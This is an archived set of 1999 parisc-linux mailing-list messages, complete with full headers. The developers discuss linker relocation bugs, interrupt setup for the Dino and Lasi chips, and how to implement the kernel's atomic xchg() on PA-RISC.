Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux-ld
Date: Mon, 28 Jun 1999 10:52:21 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <199906281452.KAA15264@hiauly1.hia.nrc.ca>
References: <3774EF94.C57237A5@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619668 12291 80.91.229.3 (22 Nov 2014 01:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:48 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: deller@gmx.de (Helge Deller)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jun 28 09:14:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA10587
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 09:14:37 -0600
Original-Received: (qmail 3152 invoked by uid 15267); 28 Jun 1999 15:14:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24382 invoked from network); 28 Jun 1999 14:54:27 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 14:54:27 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA15264;
	Mon, 28 Jun 1999 10:52:21 -0400 (EDT)
In-Reply-To: <3774EF94.C57237A5@gmx.de> from "Helge Deller" at Jun 26, 99 05:19:48 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9632

> If I would have such an patched linker, I maybe could try make the
> cross-compiled ELF-binary bootable.....

Work has started to rewrite the hppa elf tools (gcc and binutils).
However, Jeff Law has indicated that the relocations done by ld
have a lot of bugs.  He has strongly recommended that the elf tools
not be used until the rewrite is complete.  However, having said
that, it would be useful to develop an ipl that could load an elf
kernel.

With ld, the text origin can be set with "-Ttext address" or using
a loader script (see arch/parisc/hp/vmlinux.lds).  The headers
describing the elf format can be found in binutils/include/elf.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 17:21:41 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <19990628172141.G30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619669 12294 80.91.229.3 (22 Nov 2014 01:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 28 09:21:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA10784
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 09:21:33 -0600
Original-Received: (qmail 8066 invoked by uid 15267); 28 Jun 1999 15:21:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8059 invoked from network); 28 Jun 1999 15:21:45 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 15:21:45 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id RAA31189
	for <parisc-linux@thepuffingroup.com>; Mon, 28 Jun 1999 17:21:42 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA3135190
	for <parisc-linux@thepuffingroup.com>; Mon, 28 Jun 1999 17:21:42 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10ydE5-00025cC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Mon, 28 Jun 1999 17:21:41 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9633


Which of the people involved in this project know PA-RISC assembler?

We need xchg() written (in include/asm-parisc/system.h) before the
networking will compile.  We're going to need other stuff written too of
course; I know ARM assembler, so I guess I could probably learn PA-RISC
asm if no-one else wants to.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino and Lasi
Date: Mon, 28 Jun 1999 10:03:14 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <199906281703.KAA03194@milano.cup.hp.com>
References: <37770796.C70E0C65@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619669 12298 80.91.229.3 (22 Nov 2014 01:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Mon Jun 28 11:04:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA11204
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 11:04:24 -0600
Original-Received: (qmail 31121 invoked by uid 15267); 28 Jun 1999 17:04:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31111 invoked from network); 28 Jun 1999 17:04:36 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 17:04:36 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA18685;
	Mon, 28 Jun 1999 10:04:20 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA03194; Mon, 28 Jun 1999 10:03:15 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 28 Jun 1999 01:26:46 PDT."
             <37770796.C70E0C65@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9634

Alex deVries wrote:
> 
> 
> Okay, I've committed some small changes to dino and lasi that can easily
> be backed out.
> 
> some questions:
> 
> - what IRQ are we going to run LASI on?  Is that something we just pick
> and hard code?

Isn't LASI a PA (ie GSC bus) device?
If so, it can use any EIRR bit/HPA pair supported by the PA processor code.
It needs to register an ISR with PA interrupt code and get the EIRR/HPA
pair (commonly called EIM value).

Same is true for Dino.

> - I changed lasi.c and dino.c to only use readl() and writel(), and not
> readb and writew, etc.  Was this a mistake?

For Dino, I think so. On a reads, it shouldn't matter unless the
reads have side effects (eg. clears the byte register). On writes
too many byte enables will be set.

BTW, I assume you are talking about PCI MMIO/Port/Cfg space accessor
functions.

> - We really really need the IRQ bottom halfs setup.  Any takers?

What do you mean "bottom half"?
dino_isr() to map DINO EIM registers to PCI IRQ lines (and thus
PCI device ISRs)?

grant

Grant Grundler
+1.408.447.7253


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 10:09:16 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <199906281709.KAA03215@milano.cup.hp.com>
References: <19990628172141.G30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619669 12299 80.91.229.3 (22 Nov 2014 01:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: grundler@cup.hp.com  Mon Jun 28 11:10:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA11391
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 11:10:07 -0600
Original-Received: (qmail 32449 invoked by uid 15267); 28 Jun 1999 17:10:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32441 invoked from network); 28 Jun 1999 17:10:19 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 17:10:19 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA10795;
	Mon, 28 Jun 1999 13:09:51 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA03215; Mon, 28 Jun 1999 10:09:17 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 28 Jun 1999 17:21:41 PDT."
             <19990628172141.G30362@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9635

Matthew Wilcox wrote:
> 
> Which of the people involved in this project know PA-RISC assembler?
> 
> We need xchg() written (in include/asm-parisc/system.h) before the
> networking will compile.  We're going to need other stuff written too of
> course; I know ARM assembler, so I guess I could probably learn PA-RISC
> asm if no-one else wants to.

What does xchg() do?

If it's a byte swapper, look at "PA-RISC 2.0 Architecture", by Gerry Kane
from HP Professionl books, page I-6. That's "Programming Notes" section.
Gives examples for "Endian byte swapping" for 32 and 64-bit quantities.
They work - HP-UX is using them.

grant


Grant Grundler
Enterprise Systems Technology Lab
+1.408.447.7253


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 19:34:04 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <19990628193404.I30362@mencheca.ch.genedata.com>
References: <19990628172141.G30362@mencheca.ch.genedata.com> <199906281709.KAA03215@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619670 12302 80.91.229.3 (22 Nov 2014 01:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:50 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 28 11:33:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA11607
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 11:33:57 -0600
Original-Received: (qmail 5403 invoked by uid 15267); 28 Jun 1999 17:34:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5394 invoked from network); 28 Jun 1999 17:34:08 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 17:34:08 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id TAA31722;
	Mon, 28 Jun 1999 19:34:05 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA3055734;
	Mon, 28 Jun 1999 19:34:04 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10yfIC-00025cC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Mon, 28 Jun 1999 19:34:04 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199906281709.KAA03215@milano.cup.hp.com>; from Grant Grundler on Mon, Jun 28, 1999 at 10:09:16AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9636

On Mon, Jun 28, 1999 at 10:09:16AM -0700, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > 
> > Which of the people involved in this project know PA-RISC assembler?
> > 
> > We need xchg() written (in include/asm-parisc/system.h) before the
> > networking will compile.  We're going to need other stuff written too of
> > course; I know ARM assembler, so I guess I could probably learn PA-RISC
> > asm if no-one else wants to.
> 
> What does xchg() do?

/*
 * Atomic [test&set] exchange
 *
 *      void *xchg_u32(void *ptr, unsigned long val)
 * Changes the memory location '*ptr' to be val and returns
 * the previous value stored there.
 */

It's atomic with respect to interrupts and other CPUs.

PA-RISC 2.0 seems to have LDC{W,D}, but that's going to make implementation
a real pain.

> If it's a byte swapper, look at "PA-RISC 2.0 Architecture", by Gerry Kane
> from HP Professionl books, page I-6. That's "Programming Notes" section.
> Gives examples for "Endian byte swapping" for 32 and 64-bit quantities.
> They work - HP-UX is using them.

thanks for the tip.  No-one's written those yet; I'll do those next.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino and Lasi
Date: Mon, 28 Jun 1999 18:56:37 +0100 (BST)
Lines: 12
Approved: news@gmane.org
Message-ID: <E10yfe4-0005R6-00@the-village.bc.nu>
References: <199906281703.KAA03194@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619670 12306 80.91.229.3 (22 Nov 2014 01:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:50 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 28 12:08:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA11948
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 12:08:27 -0600
Original-Received: (qmail 13179 invoked by uid 15267); 28 Jun 1999 18:08:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13072 invoked from network); 28 Jun 1999 18:08:03 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 18:08:03 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10yfe4-0005R6-00; Mon, 28 Jun 1999 18:56:40 +0100
In-Reply-To: <199906281703.KAA03194@milano.cup.hp.com> from "Grant Grundler" at Jun 28, 99 10:03:14 am
Xref: news.gmane.org gmane.linux.ports.parisc:9637

> What do you mean "bottom half"?
> dino_isr() to map DINO EIM registers to PCI IRQ lines (and thus
> PCI device ISRs)?

The Linux bottom halves are closest in 'other unixen' to the software interrupt
code run after the IRQ return.

Linux services any pending bottom halves after the irq completes but before
returning to the scheduled task/scheduler. Its used for deferring processing
from interrupt paths



From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 20:10:16 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <19990628201016.J30362@mencheca.ch.genedata.com>
References: <19990628193404.I30362@mencheca.ch.genedata.com> <17559.930592076@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619670 12311 80.91.229.3 (22 Nov 2014 01:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:50 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 28 12:10:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA12047
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 12:10:13 -0600
Original-Received: (qmail 13502 invoked by uid 15267); 28 Jun 1999 18:10:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13488 invoked from network); 28 Jun 1999 18:10:21 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 18:10:21 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id UAA31823;
	Mon, 28 Jun 1999 20:10:17 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id UAA3138039;
	Mon, 28 Jun 1999 20:10:16 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10yfrE-00025cC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Mon, 28 Jun 1999 20:10:16 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <17559.930592076@upchuck.cygnus.com>; from Jeffrey A Law on Mon, Jun 28, 1999 at 11:47:56AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9638

On Mon, Jun 28, 1999 at 11:47:56AM -0600, Jeffrey A Law wrote:
> Yes.  Major pain since the only useful atomic operations are load & clear
> word/double as you noted.

That does seem to be the majority of uses (based on a grep).  But not all
are, unfortunately:

./drivers/net/slip.c:   rbuff = xchg(&sl->rbuff, rbuff);
./drivers/net/slip.c:   xbuff = xchg(&sl->xbuff, xbuff);
./drivers/net/slip.c:   cbuff = xchg(&sl->cbuff, cbuff);
./drivers/net/slip.c:   slcomp = xchg(&sl->slcomp, slcomp);
./drivers/net/slip.c:   xbuff    = xchg(&sl->xbuff, xbuff);
./drivers/net/slip.c:   rbuff    = xchg(&sl->rbuff, rbuff);
./drivers/net/slip.c:   cbuff    = xchg(&sl->cbuff, cbuff);
./drivers/scsi/scsi_queue.c:    cpnt = xchg(&host->pending_commands, cmd);
./drivers/scsi/scsi_queue.c:    cmd = xchg(&host->pending_commands, cpnt);
./fs/smbfs/sock.c:      data_ready = xchg(&sk->data_ready, smb_data_callback);
./fs/smbfs/sock.c:      data_ready = xchg(&sk->data_ready, server->data_ready);
./kernel/sys.c: mask = xchg(&current->fs->umask, mask & S_IRWXUGO);
./mm/slab.c:    if (xchg((unsigned long *)objp, SLAB_RED_MAGIC2) != SLAB_RED_MAG
IC1)
./mm/slab.c:    if (xchg((unsigned long *)(objp+cachep->c_org_size), SLAB_RED_MA
GIC2) != SLAB_RED_MAGIC1)
./mm/slab.c:    if (xchg((unsigned long *)objp, SLAB_RED_MAGIC1) != SLAB_RED_MAG
IC2) {
./mm/slab.c:    if (xchg((unsigned long *)(objp+cachep->c_org_size+BYTES_PER_WOR
D), SLAB_RED_MAGIC1) != SLAB_RED_MAGIC2) {
./net/core/utils.c:     toks += now - xchg(&last_msg, now);
./net/ipv4/ip_forward.c:                        dst_release(xchg(&skb->dev->fast
path[h], dst_clone(&rt->u.dst)));
./net/ipv4/ip_sockglue.c:                       opt = xchg(&sk->opt, opt);
./net/ipv4/tcp_ipv4.c:  dst_release(xchg(&sk->dst_cache, rt));
./net/ipv4/tcp_ipv4.c:          dst_release(xchg(&sk->dst_cache, &rt->u.dst));
./net/ipv6/ipv6_sockglue.c:             opt = xchg(&np->opt, opt);
./net/ipv6/tcp_ipv6.c:                          skb = xchg(&sk->net_pinfo.af_ine
t6.pktoptions, skb2);
./net/sched/cls_rsvp.h:                 tcf_police_release(xchg(&f->police, poli
ce));
./net/sched/cls_u32.c:          ht_down = xchg(&n->ht_down, ht_down);
./net/sched/cls_u32.c:          tcf_police_release(xchg(&n->police, police));
./net/sched/sch_cbq.c:          if ((*old = xchg(&cl->q, new)) != NULL)
./net/sched/sch_cbq.c:                  rtab = xchg(&cl->R_tab, rtab);
./net/sched/sch_generic.c:      qdisc = xchg(&dev->qdisc, &noop_qdisc);
./net/sched/sch_prio.c: *old = xchg(&q->queues[band], new);
./net/sched/sch_teql.c:         teql_neigh_release(xchg(&q->ncache, n));


and that's it.  That's only 31 uses where xchg couldn't be replaced
with get_and_zero.  I suspect most of these are using this mechanism to
walk a list without using a spinlock.  The slab uses are debug code only
(so they aren't performance critical by any means).  I bet most of these
uses could be removed without _too_ many problems.  I wonder what Linus'
opinion is on this.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 11:47:56 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <17559.930592076@upchuck.cygnus.com>
References: <19990628193404.I30362@mencheca.ch.genedata.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619671 12316 80.91.229.3 (22 Nov 2014 01:27:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:51 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: law@upchuck.cygnus.com  Mon Jun 28 12:15:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA12159
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 12:15:26 -0600
Original-Received: (qmail 14595 invoked by uid 15267); 28 Jun 1999 18:15:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14555 invoked from network); 28 Jun 1999 18:15:30 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 18:15:30 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id LAA17562;
	Mon, 28 Jun 1999 11:47:56 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 28 Jun 1999 19:34:04 +0200.
             <19990628193404.I30362@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9639

  In message <19990628193404.I30362@mencheca.ch.genedata.com>you write:
  > > What does xchg() do?
  > 
  > /*
  >  * Atomic [test&set] exchange
  >  *
  >  *      void *xchg_u32(void *ptr, unsigned long val)
  >  * Changes the memory location '*ptr' to be val and returns
  >  * the previous value stored there.
  >  */
  > 
tsk tsk, that is a highly non-portable API for atomic operations.

  > It's atomic with respect to interrupts and other CPUs.
  > 
  > PA-RISC 2.0 seems to have LDC{W,D}, but that's going to make implementation
  > a real pain.
Yes.  Major pain since the only useful atomic operations are load & clear
word/double as you noted.

Why does linux want an "exchange"-like API for atomic operations?  That
just seems totally weird and stupid.


jeff





From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 19:39:42 +0100 (BST)
Lines: 11
Approved: news@gmane.org
Message-ID: <E10ygJl-0005VL-00@the-village.bc.nu>
References: <17559.930592076@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619671 12318 80.91.229.3 (22 Nov 2014 01:27:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:51 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com, grundler@cup.hp.com,
        parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 28 12:44:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA12356
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Jun 1999 12:44:31 -0600
Original-Received: (qmail 20453 invoked by uid 15267); 28 Jun 1999 18:44:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20446 invoked from network); 28 Jun 1999 18:44:40 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 18:44:40 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10ygJl-0005VL-00; Mon, 28 Jun 1999 19:39:45 +0100
In-Reply-To: <17559.930592076@upchuck.cygnus.com> from "Jeffrey A Law" at Jun 28, 99 11:47:56 am
Xref: news.gmane.org gmane.linux.ports.parisc:9640

> Yes.  Major pain since the only useful atomic operations are load & clear
> word/double as you noted.
> 
> Why does linux want an "exchange"-like API for atomic operations?  That
> just seems totally weird and stupid.

Its very very efficient if you have an exchange operation or you have
ll/sc. Most platforms Linux runs on have these.

Alan


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone got a few moments?
Date: Mon, 28 Jun 1999 19:37:05 +0100 (BST)
Lines: 18
Approved: news@gmane.org
Message-ID: <E10ygHD-0005V7-00@the-village.bc.nu>
References: <19990628201016.J30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619671 12322 80.91.229.3 (22 Nov 2014 01:27:51 GMT)
